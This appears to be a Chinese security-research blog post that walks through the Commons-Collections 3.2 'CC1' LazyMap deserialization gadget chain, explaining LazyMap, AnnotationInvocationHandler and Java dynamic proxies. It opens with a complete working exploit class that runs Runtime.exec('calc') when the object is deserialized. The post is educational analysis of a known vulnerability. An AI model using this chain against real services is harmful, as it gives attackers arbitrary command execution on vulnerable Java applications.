环境:jdk8u65;commons-collections3.2
影响版本:< jdk8u71
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
payload
package commonscollections3;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CC1LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = LazyMap.decorate(innermap,transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
Object instance = ctor.newInstance(Retention.class, mapProxy);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
out.writeObject(instance);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
in.readObject();
in.close();
}
}
LazyMap链和TransformedMap链在前面都相同,只是在调用ChainTransformer.transform()这里出现了不同,最终都是通过AnnotationInvocationHandler.readObject()触发反序列化
这里就不再赘述ChainTransformer.transform()之前的分析,不清楚的师傅可以去看之前cc1TransformedMap的文章
LazyMap.get()
可以看到此方法也能够调用transform方法,只是需要初始化factory
这里初始化factory的值的任务仍然交给了decorate方法来完成,跟进decorate方法,来到了LazyMap的构造方法,此时factory的值为ChainedTransformer对象,自然factory就被赋值成功了
AnnotationInvocationHandler.invoke()
我们选择AnnotationInvocationHandler.invoke()方法调用get方法,那么就需要memberValues为LazyMap对象
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
...
// Handle annotation member accessors
Object result = memberValues.get(member);
...
return result;
}
赋值操作同样使用AnnotationInvocationHandler类的构造函数来进行,memberValues的值为LazyMap
java动态代理
接下来调用AnnotationInvocationHandler.invoke()需要用到java的动态代理
定义:动态代理是指在程序运行时,通过代理对象来间接调用目标对象的方法,并在调用前后插入额外的逻辑(例如日志、事务管理、权限校验等),从而实现功能增强。
用大白话说就是在调用一个对象的方法之前,劫持其中的某个函数,执行invoke方法内的代码,执行完成后再继续执行该对象内的其他方法。
这里用P神在java安全漫谈中举的例子
编写了一个ExampleInvocationHandler类,继承InvocationHandler代理接口,实现了invoke方法,当调用对象中的方法名含有get字符串时,打印输出内容。
package InvocationHandlerExamples;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
new一个我们刚刚创建的ExampleInvocationHandler类,然后使用Proxy.newProxyInstance代理方法生成一个proxyMap对象,随便put进入值后,此时我们使用get获取键hello的对应值,便会触发invoke方法,打印输出Hook method: get Hacked Object,这样就调用了invoke方法。
package InvocationHandlerExamples;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class invokeExample {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
Proxy(AnnotationInvocationHandler).entrySet()
我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就是一个InvocationHandler(继承了InvocationHandler接口),我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke 方法中,进而触发我们的 LazyMap.get。
通过proxy代理后,调用entrySet()方法时会调用invoke方法
gadget
AnnotationInvocationHandler.readObject()
Proxy(AnnotationInvocationHandler).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()